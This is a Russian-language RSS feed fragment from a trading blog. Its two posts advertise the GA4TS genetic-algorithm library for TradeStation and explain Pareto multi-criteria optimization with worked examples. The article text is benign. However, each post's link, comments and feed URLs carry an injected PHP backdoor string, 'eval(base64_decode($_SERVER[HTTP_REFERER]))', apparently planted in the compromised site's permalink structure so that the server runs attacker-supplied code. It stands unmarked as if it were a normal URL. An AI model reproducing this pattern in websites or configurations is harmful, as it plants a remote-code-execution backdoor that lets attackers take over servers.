<li>Библиотека позволяет использовать все возможности алгоритма.</li>
<li>Возможность использования через специальный интерфейс во всех версиях TradeStation Omega.</li>
<li>Возможность настройки, и коррекции параметров репродуктивного цикла в Генетическом Алгоритме.</li>
<li>Добавление в базовую популяцию, заведомо известных, хороших решений.</li>
<li>Побитовая точность вычислений.</li>
<li>Фильтрация данных, при выводе.</li>
</ol>
<p align="justify">Использование ГА, оправдывает себя  тех случаях, где требуются действительно, колоссальные вычислительные емкости. А быстрая сходимость ГА, позволяет решать задачи, эквивалентные перебору 10<sup>50</sup>, всего за несколько часов. Скорость же сходимости данного метода, на порядки выше других реализаций ГА. В данном контексте, под скоростью понимается, количество проделанных  итераций (вычислений отдельного элемента или стратегии с конкретными параметрами).</p>
<p>Для этого рассмотрим пример из MATLAB’а: Rastrigin&#8217;s Function (рис. 1), в описании к Genetic Algorithm and Direct Search Toolbox. Функция имеет вид:<br />
<center><br />
<strong>Ras(x,y) = -(x<sup>2</sup>+y<sup>2</sup>)+10(-2 + cos(2πx) + cos(2πy)),</strong><br />
</center><br />
в которой, совершены тождественные преобразование для сохранения точности вычислений, т.к 1 +10<sup>-16</sup> на ПК как правило равно 1. <center><img title="Rastrigin's Function" src="http://www.pitbear.com/images/rastrigin.gif" /><br />
Рис. 1. Rastrigin&#8217;s Function.<br />
</center></p>
<p><span id="more-24"></span><u><em>Продолжение:</em></u></p>
<p align="justify">Максимум этой функции, очевидно, достигается в 0, на точке с координатами (0,0). Для области определения [-1,1]×[-1,1] GA Toolbox разрешил эту задачу при размере популяции 100 и используя 100 поколений: c результатом -0.000030 в точке (0.000150, -0.000400). Таким образом, было задействовано около 10 тысяч итераций. С помощью библиотеки <em><strong>GA4TS </strong></em>был достигнут результат, заданной точностью 10<sup>-20</sup>, значение которого -6.06e-021в точке(-1.90e-011, -7.54e-011), менее чем за 7 тысяч итераций.</p>
<p><center><img title="Сходимость результатов" src="http://www.pitbear.com/images/convergence.gif" /><br />
Рис. 2. Сходимость результатов.<br />
</center></p>
<p align="justify">Динамика результатов Rastrigin&#8217;s Function, взятых со знаком плюс (для отображения в логарифмической шкале) показана на рисунке 2: сверху изображены значения всех итераций, а снизу лучшие значения для каждого поколения.</p>
<p align="justify">Так же для этой задачи был получен результат до 30 знака, при том, что в MATLAB’е, не ограничивая работу ГА временными рамками, добиться  улучшения результата после 8 знака, так и не удалось.</p>
<p align="justify">Разумеется, такая точность редко нужна в практических задачах, но в эксперименте именно на этом основании делаются выводы о сходимости алгоритмов.</p>
<p align="justify">Рассмотрим ещё одну задачу: при тех же условиях, для двух критериев (Ras(x,y), x<sup>2</sup>+y<sup>2</sup>), менее чем 8 тысяч итераций, было найдено множество Парето, содержащее решения: (-0.000062, ·), (·,1.998541) , нижние  и верхнее соответственно, на  рисунке 3. При этом первая задача, рассматривается как частный случай, и соответствует только самому нижнему решению.</p>
<p><center><img title="Множество Парето" src="http://www.pitbear.com/images/pareto-set.gif" /><br />
Рис. 3.  Множество Парето, содержащее решение Ras(x, y) = -0.000062.<br />
</center></p>
<p align="justify">То есть примерно, за одно и то же количество итераций, были решены задачи, разными Генетическими Алгоритмами, абсолютно различные по классу сложности.</p>
<p align="justify">О возможностях самой библиотеке <em><strong>GA4TS </strong></em>подробно описано в мануале по использованию.</p>
<p align="right"><strong>Библиотеку можно приобрести за 1890 USD,<br />
электронным или банковским платежом.<br />
<a href="http://www.pitbear.com/feedback/">Обратная связь</a>.</strong></p>
<p>Статьи по теме:<br />
<a title="next  – Метод отбора для следующей популяции. Принимает три значения: 0 – метод Парето (по умолчанию), 1 – турнирный отбор, 2 – элитный отбор. Все методы работают независимо от количества критериев." href="http://www.pitbear.com/ga4ts-manual.php" >Руководство по использованию GA4TS</a><br />
<a title="Например, решение двойственных задач метода Марковица об инвестиционном портфеле, будут частным случаем решения многокритериальной задачи минимизации риска и максимизации доходности. Решением такой задачи оптимизации, с несколькими критериями, является множество Парето." href="http://www.pitbear.com/pareto.php">Поиск оптимальных по Парето стратегий</a></p>
<hr />
<div>
<table border="1" style="border-collapse: collapse">
<tr>
<td bgcolor="#f5f5f5">Tags: <strong>генетический алгоритм для omega</strong>, <em>генетический алгоритм с многокритериальным поиском</em>, <strong>оптимизация стратегий tradestation</strong>, <strong>библиотека GA4TS</strong>, <em>численое решение задачи оптимизации</em>, <em>парето оптимизация</em>, <em><strong>эффективное множество</strong></em></td>
</tr>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2005/12/12/ga4ts/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Поиск оптимальных по Парето стратегий</title>
		<link>http://www.pitbear.com/2005/12/12/pareto/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</link>
		<comments>http://www.pitbear.com/2005/12/12/pareto/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 12 Dec 2005 12:18:05 +0000</pubDate>
		<dc:creator>whiteline</dc:creator>
				<category><![CDATA[GA4TS]]></category>
		<category><![CDATA[Live]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Парето]]></category>
		<category><![CDATA[генетический алгоритм]]></category>
		<category><![CDATA[оптимизация решения]]></category>
		<category><![CDATA[рынок]]></category>
		<category><![CDATA[численные методы]]></category>

		<guid isPermaLink="false">http://www.pitbear.com/?p=23</guid>
		<description><![CDATA[Вопрос об использовании оптимизации для стратегий является спорным, но я никого переубеждать не собираюсь. Хочу лишь заметить, что, придумав какую-либо стратегию, без параметров, для исторических данных, можно сказать, что она работает именно на них, и делать выводы о перспективе её использования так же невозможно, как и для стратегии с параметрами. И уже в предположении о [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Вопрос об использовании оптимизации для стратегий является спорным, но я никого переубеждать не собираюсь. Хочу лишь заметить, что, придумав какую-либо стратегию, без параметров, для исторических данных, можно сказать, что она работает именно на них, и делать выводы о перспективе её использования так же невозможно, как и для стратегии с параметрами. И уже в предположении о том, что в динамики изменения котировок присутствует связь с прошлым, можно эмпирически подбирать лучшие решения, будь то отдельные стратегии или их семейства, зависящие от параметров. Но возможна такая ситуация, когда параметров много, или тестируемых данных мало, на которых решение может себя вести очень обособленно. Это проверяется путём проведения дополнительных тестов на других данных.</p>
<p align="justify">Остановимся подробней на самом поиске оптимальных решений. Очевидно, основной критерий качества стратегии, это прибыль которую она может показать в будущем, поэтому, упростив условия задачи путём проведения тестов только на исторических данных, нельзя руководствоваться одним только этим показателем, потому что на истории он никак не отражает основную суть задачи. Таким образом, необходимо анализировать такой критерий, или несколько, который ведёт себя наиболее устойчиво к данным. Такими критериями могут быть PF(Profit Factor), DD(Drawdown), Percent Profitable, Ratio Avg. Win/Avg. Loss и т.д. Но при этом, получив решение, оптимально по одному из критериев, совсем не обязательно, что оно будет оптимально по какому-либо другому. А хотелось бы, например, решить задачу – минимизировать риск, максимизировать прибыль, причём одновременно.</p>
<p><span id="more-23"></span><u><em>Продолжение</em></u></p>
<p align="justify">Постановка задачи в таком виде корректна, и более того имеет решение, быть может, оно будет не так тривиально выглядеть, потому что, как правило,  представляет, из себя набор решений или целое множество. Например, решение двойственных задач метода Марковица об инвестиционном портфеле, будут частным случаем решения многокритериальной задачи минимизации риска и максимизации доходности. Решением такой задачи, с несколькими критериями (многокритериальной оптимизации), является множество Парето. Для тех, кто не знаком с многокритериальным анализом, попробую объяснить это понятие в двух словах.</p>
<p align="justify">Предположим, имеется <strong>n</strong> критериев, которые можно представить как пространство <strong>R<sup>n</sup></strong>.</p>
<p>Элемент <strong>x</strong> соотносится с <strong>y</strong> как:</p>
<ol>
<li><strong><em>«лучше»</em>, ∀i∈[1,n]: x<sub>i</sub>≥y<sub>i</sub> ,∃k∈[1,n]: x<sub>k</sub>>y<sub>k</sub>.</strong></li>
<li><strong><em>«не лучше»</em>, ∃k∈[1,n]: x<sub>k</sub><sub>k</sub>.</strong></li>
<li><strong><em>«хуже»</em>, ∀i∈[1,n]: x<sub>i</sub>≤ y<sub>i</sub> ,∃k∈[1,n]: x<sub>k</sub><sub>k</sub>.</strong></li>
<li><strong><em>«не хуже»</em>, ∃k∈[1,n]: x<sub>k</sub>>y<sub>k</sub>.</strong></li>
</ol>
<p>Элемент <strong>x*∈X</strong>- называется <em><strong>оптимальным по Парето</strong></em>, если не существует такого <strong>x∈X</strong>, который будет “лучше” <strong>x*</strong>.<br />
<em><strong>Множество Парето</strong></em> – множество оптимальных по Парето элементов.</p>
<p><strong>Пример 1.</strong> Пусть у нас имеется набор для 2 критериев: (1,2), (2,2), (1,3), (2, 1), (1,1), (2,2). Множество Парето для этого набора будет (2,2), (1,3), (2,2), а если мы добавим ещё (3,2), то останется (3,2) и (1,3).<br />
<em>Замечание:</em> Множество Парето, содержит в себе подмножество всех элементов, каждый из которых является «не хуже» всех остальных.<br />
<strong>Пример 2.</strong> Окружность в <strong>R<sup>2</sup></strong>:<br />
<center><img title="Множество Парето для окружности" src="http://www.pitbear.com/images/pareto-1.gif" /><br />
Рис. 1: Множество Парето для окружности.<br />
</center></p>
<p>Множество Парето, для этой окружности будет дуга, выделанная на рисунке (Рис. 1).
</p>
<p align="justify"><strong>Пример 3.</strong> Результат оптимизации стратегии для Сбербанка Генетическим Алгоритмом по критериям Profit Factor и Drawdown (Рис. 2):
</p>
<p><center><img title="Множество Парето для 2-х критериев" src="http://www.pitbear.com/images/pareto-2.gif" /><br />
Рис. 2: Множество Парето для 2-х критериев.<br />
</center></p>
<p align="justify">Т.е. множество Парето содержит решения как оптимальные по одному из критериев, так и промежуточные варианты, которые таковыми не являются, но представляют не меньший интерес для рассмотрения. Это хорошо видно на примере, где оптимальным по DD является решение, отмеченное левой выноской(2.91, -657), а интуитивно понятно, что другое отмеченное решение(3.87, -658) имеет лучшие показатели, и оба они принадлежат множеству Парето.</p>
<p><strong>Пример 4.</strong> Результат оптимизации при тех же исходных данных по 3 критериям: Profit Factor, Drawdown и Net Profit (Рис. 3):
</p>
<p><center><img title="Множество Парето для 3-х критериев" src="http://www.pitbear.com/images/pareto-3.gif" /><br />
Рис. 3: Множество Парето для 3-х критериев<br />
(Ось X – Profit Factor, Y – Drawdown, Z – Net Profit).<br />
</center></p>
<p align="justify">Множество Парето в этом случае образует скопления в неких областях, но в целом, представлено более хаотичным множеством (красные шары), по которому сложно делать какие-либо выводы. Результат носит больше экспериментальный характер и интересен скорее в определении структуры самого множества, и информативности критериев в данной их комбинации.</p>
<p align="justify">Для поиска множества Парето в конечных множествах, можно воспользоваться перебором, как универсальным методом, или Генетическим Алгоритмом, причём во втором случае поиск можно совершать без ограничения на мощность множества. Для того, что бы показать, как можно применить <strong>Генетический Алгоритм</strong> для решения многокритериальных задач, необходимо вначале описать какой-нибудь способ его реализации.</p>
<p align="justify">Для понимания Генетического Алгоритма, можно ничего не знать о задачах оптимизации, но представления о них, помогут корректно поставить задачи и искать устойчивые решения. Например, некоторые задачи можно решать методом градиентного спуска. Это, как правило, унимодальные (с предположением об одном экстремуме) задачи оптимизации. Класс задач, разрешимый при помощи Генетического Алгоритма не ограничивается задачами оптимизации, это могут быть так же задачи разбиения на классы, идентификации, а так же поиска ландшафта поверхностей. Но очень хорошо себя зарекомендовал, с практической точки зрения, в решении безусловных задач на поиск глобального экстремума, с множеством локальных. Причём, в этом случае, на целевую функцию не накладывается каких либо ограничений, кроме её существования на всей области определения. Есть ещё другие методы решения таких задач, но для всех, кроме простого перебора (а для многих задач он в принципе не применим), присутствует вероятность попадания в локальный экстремум, и никакой из них, не может гарантировать, что найдено верное решение. Для Генетического Алгоритма такая вероятность на порядки меньше других методов. Т.е приходится жертвовать сходимостью в пользу универсальности поставленных задач. Например, функция одной переменной, заданана всей прямой, коме 0, как 0, а в 0 равна 1. Задачу с такой целевой функцией можно решить только аналитическим методом. При этом можно утверждать, что если какой-либо метод оптимизации, включая перебор, на какой-то конкретной задачи сходится, то сойдётся и Генетический Алгоритм, с соответствующими  параметрами. Также при помощи Генетического Алгоритма возможно решение задачи условной оптимизации, но при этом задача решается не напрямую, как без заданных ограничений, а поэтапно через вспомогательные задачи, используя функцию Лагранжа.</p>
<p align="justify">Итак, пусть у нас есть задача безусловной оптимизации: на области определения <strong>x∈X</strong>, заданна целевая вектор-функция <strong>F(x)</strong>, для <strong>n</strong> критериев. И для простоты положим <strong>X</strong> равным <strong>R<sup>m</sup></strong>. Разобьем <strong>пространство фенотипов</strong> <strong>R<sup>m</sup></strong> гиперплоскостями, так что бы получилось конечное количество блоков, от этого разбиения зависит точность решения (бесконечность области определения не вызывает никаких сложностей, так как для разбиения можно воспользоваться преобразованием <strong>tg(x)</strong>). Каждому такому блоку можно взаимно однозначно сопоставить <strong>m</strong>-мерный вектор, образованный порядковым номером блока вдоль каждой оси. Такой вектор называется <strong>хромосомой</strong>, а его координаты &#8211; <strong>генами</strong>. Множество хромосом образует дискретное пространство <strong>генотипов</strong>, или <strong>генофонд</strong>. На практике, такая процедура проделываться не обязательно в самом начале, а в любой момент, когда есть необходимость изменить точность расчётов, но в таком случае придётся устанавливать соответствие между предыдущим и новым генофондом. Базовая популяция формируется произвольным набором хромосом, после чего оценивается её <strong>приспособленность</strong>. Приспособленность хромосомы оценивается целевой функцией <strong>F</strong>, для соответствующих фенотипов. Дальнейшие действия отображают суть <strong>репродуктивного цикла</strong>, которые можно представить в следующем виде:</p>
<ol>
<li><strong>1.</strong> Выбор родителей для продолжения популяции.</li>
<li><strong>2.</strong> Формирование пар из выборки.</li>
<li><strong>3.</strong> Оператор скрещивания (crossover) для сформированных пар.</li>
<li><strong>4.</strong> Оператор мутация.</li>
<li><strong>5.</strong> Оценка приспособленности всех особей (хромосом).</li>
<li><strong>6.</strong> Отбор новой популяции, потом п.1, если не выполнены условия остановки.</li>
</ol>
<p align="justify">Теперь подробней по каждому из пунктов. Выбор производится двумя типами: случайным способом или рулеткой. В первом случае, случайно выбирается, какая особь из популяции будет родителем, а во втором &#8211; выбор происходит уже не по равномерному распределению, а для более приспособленных особей определяется большая вероятность стать родителями. Для формирования пар, применимо больше способов: панимексия (panmixia) – случайным образом, инбридинг (inbreeding) – наиболее похожие особи, аутбридинг (outbreeding) – наиболее непохожие. Причём инбридинг и аутбридинг может быть как по фенотипу, так и по генотипу.</p>
<p align="justify">Кроссовер проводится для пары хромосом, и результатом становятся две новые хромосомы – дети. Для двух хромосом, представленных двоичным кодом, берётся произвольная часть кода одной хромосомы, и добавляется недостающая часть от другой, для другого ребёнка наоборот, а в сложном таких разбиений делается несколько. Оператор мутация реализуется, как инвертирование каждого бита двоичного кода хромосомы с некой вероятностью, как независимое испытание. После всех этапов формирования популяции проводиться оценка приспособленности полученных особей, и по результатам которой формируется новая популяция. В случае одного критерия здесь возможны: турнирный отбор &#8211; сравнивая две особи, выбирается лучшая из них, элитный отбор &#8211; выбираются особи, приспособленность которых выше средней. Для критериев больше одного для отбора можно использовать целевую функцию, со взвешенными критериями, или множество Парето. После чего для полученной популяции действия с 1 по 6 пункт можно повторить, если не выполнены условия остановки. Дополнительную информацию о Генетических Алгоритмах, вы можете найти на <a href="http://algolist.manual.ru/ai/ga/ga1.php">Популярно о генетических алгоритмах</a>.</p>
<p align="justify">Поиск оптимальных параметров стратегии по каждому из критериев, очевидно, является задачей, которую можно решить перебором, следовательно, и многокритерийальная задача решается перебором, а значит, найдутся такие параметры Генетического Алгоритма, при которых метод сойдётся. На выбор параметров очень сильно влияет вид целевой функции. И в частных случаях, например, для табличной функции, заданной случайными числами, решение перебором, или стохастическим методом, с заданной вероятностью, может быть найдено быстрее, но такой пример в практике скорее как исключение, чем правило. Генетический Алгоритм при виде функций, отличного от этого, может эффективно использовать всевозможные свойства и закономерности, при достижении оптимального результата. Поэтому, грубо говоря, чем функция более естественно выглядит, тем алгоритм быстрее сходится, и соответственно меньше вычислений для этого требуется.</p>
<p>Статьи по теме:<br />
<a title="GA4TS – динамическая библиотека, предназначенная для оптимизации стратегий по одному или нескольким критериям в TradeStation Omega" href="http://www.pitbear.com/ga4ts.php">GA4TS.DLL – Генетический алгоритм для TradeStation</a><br />
<a title="В любом случае, никакие формулы не заменят бэк-тэстинга, а как часто бывает, новые идеи, возникают во время осмысления полученных результатов. А оптимизация в этом смысле просто создаёт почву для размышления, и никак не для того что бы использовать полученные результаты в окончательном варианте для реальной торговле." href="http://www.pitbear.com/option-strategy.php">Тестирование опционных стратегий в Omega TradeStation</a></p>
<hr />
<div>
<table border="1" style="border-collapse: collapse">
<tr>
<td bgcolor="#f5f5f5">Tags: <strong>генетический алгоритм</strong>, <em>оптимизация генетическим алгоритмом</em>, <strong><em>множество парето</em></strong>, <strong><em>генетический алгоритм парето</em></strong>, <strong>парето оптимизация</strong>, <em>многокритериальная оптимизация</em>, <em>численная оптимизация</em>, <strong>GA4TS</strong>, <strong>задача оптимизации</strong>, <em>многофакторное решение</em></td>
</tr>
</table>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.pitbear.com/2005/12/12/pareto/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
	</channel>
</rss>
